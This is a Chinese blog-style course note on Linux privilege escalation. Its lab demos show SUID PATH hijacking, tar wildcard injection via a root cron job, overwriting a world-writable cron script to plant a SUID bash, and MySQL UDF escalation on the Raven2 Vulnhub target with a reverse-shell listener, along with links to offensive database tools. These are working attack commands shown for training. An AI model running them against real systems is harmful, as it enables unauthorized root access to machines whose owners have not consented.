首页 > 系统相关 >第104天:权限提升-Linux系统&环境变量&定时任务&权限配置不当&MDUT自动化

第104天:权限提升-Linux系统&环境变量&定时任务&权限配置不当&MDUT自动化

时间:2024-10-12 21:21:34浏览次数:1  
标签:tmp MDUT 数据库 提权 Linux 权限 root bash

知识点总结

#知识点:

1、Linux提权-定时任务
2、Linux提权-环境变量
3、Linux提权-权限配置不当
4、Linux提权-数据库自动化

#系列内容:

内核,数据库,第三方服务,SUID&GUID,定时任务,环境变量,SUDO,权限不当等
脏牛漏洞(CVE-2016-5195)
Dirty Pipe(CVE-2022-0847)
SUDO(CVE-2021-3156)
Polkit(CVE-2021-4034)

#截至目前思路点总结如下:

1.提权方法有部分适用在不同环境,当然也有通用方法
2.提权方法也有操作系统版本区分,特性决定方法利用面
3.提权方法有部分需要特定环境,如数据库,第三方提权等

#截至目前思路点总结如下:

1.提权方法有部分适用在不同环境,当然也有通用方法
2.提权方法也有操作系统版本区分,特性决定方法利用面
3.提权方法有部分需要特定环境,如数据库,第三方提权等

#思考点:

1、如何判断采用什么数据库提权?
2、数据库提权首要条件密码获取?
3、有那些数据库类型可以进行提权?
4、操作系统在数据库提权中有那些疑问?

#章节点:

1、Web权限提升
2、系统权限提升
3、域控权限提升

#详细点:

1、具体有哪些权限需要我们了解掌握的?
后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等

2、以上常见权限获取方法简要归类说明?
后台权限:SQL注入,数据库备份泄露,默认或弱口令等获取帐号密码进入
网站权限:后台提升至网站权限,RCE或文件操作类、反序列化等漏洞直达Shell
数据库权限:SQL注入,数据库备份泄露,默认或弱口令等进入或网站权限获取后转入
接口权限:SQL注入,数据库备份泄露,源码泄漏,培植不当等或网站权限获取后转入
系统权限:高危系统漏洞直达或网站权限提升转入、数据库权限提升转入,第三方转入等
域控权限:高危系统漏洞直达或内网横向渗透转入,域控其他服务安全转入等

3、以上常见权限获取后能操作的具体事情?
后台权限:
常规WEB界面文章分类等操作,后台功能可操作类
网站权限:
查看或修改程序源代码,可以进行网站或应用的配置文件读取(接口配置信息,数据库配置信息等),还能收集服务器操作系统相关的信息,为后续系统提权做准备。
数据库权限:
操作数据库的权限,数据库的增删改等,源码或配置文件泄漏,也可能是网站权限(webshell)进行的数据库配置文件读取获得。也可以作为提升系统权限手段。
接口权限:
后台或网站权限后的获取途径:后台(修改配置信息功能点),网站权限(查看的配置文件获取),具体可以操作的事情大家自己想想。
系统权限:如同在你自己操作自己的电脑一样
域控权限:如同在你自己操作自己的虚拟机一样

案例演示

Linux-环境变量文件配合SUID-本地

Linux-定时任务打包配合SUID-本地

Linux-定时任务文件权限配置不当-WEB&本地

Linux-第三方软件MYSQL数据库提权-WEB&本地

#Linux-环境变量文件配合SUID-本地

条件:ROOT用户对某个第三方程序给予了SUID权限
探针:find / -user root -perm -4000 -print 2>/dev/null
root用户将可执行文件进行编译,保证文件的正常授权运行,给予ROOT权限执行
[root@ch4ser tmp]# gcc demo.c -o shell
[root@ch4ser tmp]# chmod u+s shell
普通用户通过对文件反编译或源代码查看,覆盖其执行环境变量,直接让其执行指定程序获取权限
[root@ch4ser tmp]# su zhangsan
[zhangsan@ch4ser tmp]$ cp /bin/bash /tmp/ps
[zhangsan@ch4ser tmp]$ export PATH=/tmp:$PATH
[zhangsan@ch4ser tmp]$ ./shell
[root@ch4ser tmp]# id
uid=0(root) gid=0(root) 组=0(root),1003(zhangsan)

#Linux-定时任务打包配合SUID-本地

提权通过获取计划任务执行文件信息进行提权
1、相对路径和绝对路径执行
2、计划任务命令存在参数调用
利用计划任务的备份功能tar命令的参数利用

//管理员创建定时任务
[root@ch4ser ~]# vim /etc/crontab
20 * * * * root bash /root/backup.sh
[root@ch4ser ~]# vim backup.sh
cd /home/zhangsan;tar -zcf /tmp/backup.tar.gz *
注意:这里只能写 * ,不然无法将后面的文件名识别为参数,也就无法实现提权

//张三在/tmp目录精心构造文件名
[zhangsan@ch4ser tmp]$ echo "" > "--checkpoint=1"
[zhangsan@ch4ser tmp]$ echo "" > "--checkpoint-action=exec=bash test.sh"
[zhangsan@ch4ser tmp]$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh
[zhangsan@ch4ser tmp]$ chmod +x test.sh

//定时任务执行后,/tmp目录出现打包文件和bash,张三使用 bash -p 提权
[zhangsan@ch4ser tmp]$ ll
-rw-r--r-- 1 root root 195 6月 20 10:20 backup.tar.gz
-rwsr-sr-x 1 root root 964544 6月 20 10:20 bash
[zhangsan@ch4ser tmp]$ ./bash -p
bash-4.2# id
uid=1003(zhangsan) gid=1003(zhangsan) euid=0(root) egid=0(root) 组=0(root),1003(zhangsan)
bash-4.2# whoami
root

#Linux-定时任务文件权限配置不当-WEB&本地

利用不安全的权限分配操作导致的定时文件覆盖
chmod 777 775 等 所有者 组 其他成员说明
(和前面差不多,只是因为文件权限不当,张三可以修改定时任务所执行的.sh文件内容,达到提权目的)

//管理员创建定时任务,并配置脚本权限为777
[root@ch4ser ~]# vim /etc/crontab
20 * * * * root bash /tmp/haha.sh
[root@ch4ser ~]# vim /tmp/haha.sh
cd /tmp;touch abc
[root@ch4ser ~]# chmod 777 /tmp/haha.sh

//张三修改脚本文件内容
[zhangsan@ch4ser tmp]$ vim haha.sh
cp /bin/bash /tmp/bash; chmod +s /tmp/bash

//定时任务执行后,/tmp目录出现bash,张三使用 bash -p 提权
[zhangsan@ch4ser tmp]$ ll
-rwsr-sr-x 1 root root 964544 6月 20 10:20 bash
[zhangsan@ch4ser tmp]$ ./bash -p
bash-4.2# id
uid=1003(zhangsan) gid=1003(zhangsan) euid=0(root) egid=0(root) 组=0(root),1003(zhangsan)
bash-4.2# whoami
root

#Linux-第三方软件MYSQL数据库提权-WEB&本地

https://www.vulnhub.com/entry/raven-2,269/
Vulnhub某靶机-探针IP及端口-利用漏洞获取web权限-信息收集-查看数据库配置文件-利用Mysql提权Linux(Mysql版本区别同Windows)

#探针IP及端口

nmap 192168.46.0/24

#利用phpmailer漏洞进行修改并反弹

python D:/Myproject/40974.py
nc -lvvp 4444

#写入后门利用菜刀连接方便操作

echo '' >1.php
上传信息收集脚本进行提权信息收集
./LinEnum.sh
翻阅数据库配置文件获取root密码

1、利用Mysql提权 searchsploit
下载mysql udf kali poc进行编译
wget https://www.exploit-db.com/download/1518
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
mv raptor_udf.so 1518.so
上传或下载1518到目标服务器
wget https://xx.xx.xx.xx/1518.so
进入数据库进行UDF导出
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
创建do_system函数调用
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');

#配合使用find调用执行

touch xiaodi
find xiaodi –exec "whoami" ;
find xiaodi –exec "/bin/sh" ;
id

2、无法外联走隧道-MDUT自动化数据库提权
//首先设置允许root外连
GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
flush privileges;
//有时因为对方开启了防火墙,即使设置了root外连也不行
//此时可以走隧道,利用冰蝎内网穿透模块
//就算连上,也可能对方--secure-file-priv开了,也无法UDF提权成功
//如果没开--secure-file-priv,还需要plugin文件夹有写入权限才行
//总之条件挺多的,感觉比较鸡肋

MDUT 2.0 数据库利用工具 https://github.com/SafeGroceryStore/MDUT MDUT
(实测MDUT挺好用,5种数据库都可以一键提权,还可以一键擦屁股,舒舒服服)
综合高危漏洞利用工具(包含各大数据库) https://github.com/Liqunkit/LiqunKit_ LiqunKit
sqlserver利用工具 https://github.com/uknowsec/SharpSQLTools SharpSQLTools
通过套接字重用通过受损的 Microsoft SQL Server 在受限环境中执行横向移动 https://github.com/blackarrowsec/mssqlproxy mssqlproxy
ODAT:Oracle 数据库攻击工具 https://github.com/quentinhardy/odat ODAT

靶机:Raven2
参考:https://blog.csdn.net/dongluliang/article/details/119789924

标签:tmp,MDUT,数据库,提权,Linux,权限,root,bash
From: https://www.cnblogs.com/dummy6acker/p/18461519

相关文章

  • 第103天:权限提升-Linux系统&辅助项目&脏牛&Dirty&内核漏洞&SUID&GUID
    知识点梳理#知识点:1、Linux提权辅助项目-探针&漏扫2、Linux提权-配置SUID&内核CVE#系列内容:内核,数据库,第三方服务,SUID&GUID,定时任务,环境变量,SUDO,权限不当等脏牛漏洞(CVE-2016-5195)DirtyPipe(CVE-2022-0847)SUDO(CVE-2021-3156)Polkit(CVE-2021-4034)案例演示Linux-辅......
  • 《Linux从小白到高手》综合应用篇:详解Linux系统调优之内存优化
    本篇介绍Linux服务器系统内存调优。内存是影响Linux性能的主要因素之一,内存资源的充足与否直接影响应用系统的使用性能。内存调优的主要目标是合理分配和利用内存资源,减少内存浪费,提高内存利用率,从而提升系统整体性能。1.内存相关重要命令及参数(不同版本略有区别,大家注意):......
  • 【应急响应+Linux】常见的rootkit隐藏手段:前言
    原文首发在:奇安信攻防社区https://forum.butian.net/share/3796本文主要针对黑灰产相关的蠕木僵毒等恶意软件在Linux上常用的rootkit手段做一些总结,以及详细分析常见应急响应中遇到的进程、文件隐藏手段的原理以及排查和恢复方法;前言本文主要针对黑灰产、以及蠕木僵毒等恶意软......
  • 【应急响应+Linux】常见的rootkit隐藏手段:通过用户层劫持加载器/连接器隐藏进程pld(用
    原理linux在进程启动后,和windows加载dll一样会按照一定的顺序加载动态链接库,相关顺序如下:加载环境变量LD_PRELOAD指定的动态库加载文件/etc/ld.so.preload指定的动态库搜索环境变量LD_LIBRARY_PATH指定的动态库搜索路径搜索路径/lib64下的动态库文件攻击者常见使用的劫......
  • 【应急响应+Linux】常见的rootkit隐藏手段:通过劫持shell环境,实现文件、进程名隐藏等操
    原理修改或构造/etc/profile.d/下sh文件,劫持环境变量,从而实现覆盖常见的命令,如:ps、ls、lsof等;实现:1、配置环境变量shell脚本:重新登录用户之后;或者使用命令source/etc/profile更新配置,使生效;2、根目录下存在的myshell.sh文件被隐藏:执行ls命令效果:排查方法:使用strace......
  • 【应急响应+Linux】常见的rootkit隐藏手段:通过挂载/proc/pid实现pid隐藏
    原理ps、netstat是遍历/proc来显示pid的原理,通过隐藏相关/proc/pid文件夹来实现pid隐藏实现运行如下命令,将pid对应文件夹挂载到隐藏目录上面mount-obind/home/.hidden/proc/9212现象:如下图,使用root权限调用netstat发现PID和Programname都是空:排查方法1、ca......
  • openEuler、Linux操作系统常见操作-(6)如何登录Linux
    如何登录Linux·Linux登陆方式主要有如下两种: 。本地登陆   。一个典型的Linux系统将运行六个虚拟控制台和一个图形控制台,openEuler目前暂未支持图形化界面;·可以通过Ctrl+Alt+F[1-6]在6个虚拟控制台之间进行切换。远程登录。默认情况下openEuler支持......
  • lnav: 用于 Linux 的高级日志文件浏览器
    原创咬到舌头的小蛇IT开DD那点小事如果你想调试或排除问题,使用像lnav这样的高级日志文件查看器是非常必要的。它在任何Linux系统的终端中都能发挥巨大的作用。lnav:日志文件查看器lnav可以即时解压缩所有的压缩日志文件,并将它们合并在一起进行漂亮的显示。显示是根据......
  • Linux的zookeeper安装部署
    1.zookeeper是一个分布式的,开放源码的分布式应用程序协调服务,是hadoop和HBASE的重要组件2.下载zookeeper安装包zookeeper安装包https://archive.apache.org/dist/zookeeper/zookeeper-3.5.9/移动到Linux解压解压到/export/server文件夹命令:   tar-xvfapache-zoo......
  • Linux下(CentOS 7.6)安装并使用sql server 2017的操作步骤,以及中文乱码解决方法
    一、安装SQLServer1、安装SQLServer所需的python2(由于我这边是装了宝塔的,用的好像是python3,所以不需要,如果你们的情况一样,也可以跳过这个步骤)sudoalternatives--configpython如果未配置,请使用以下命令安装Python2和OpenSSL10:sudoyuminstallpython2sudoyum......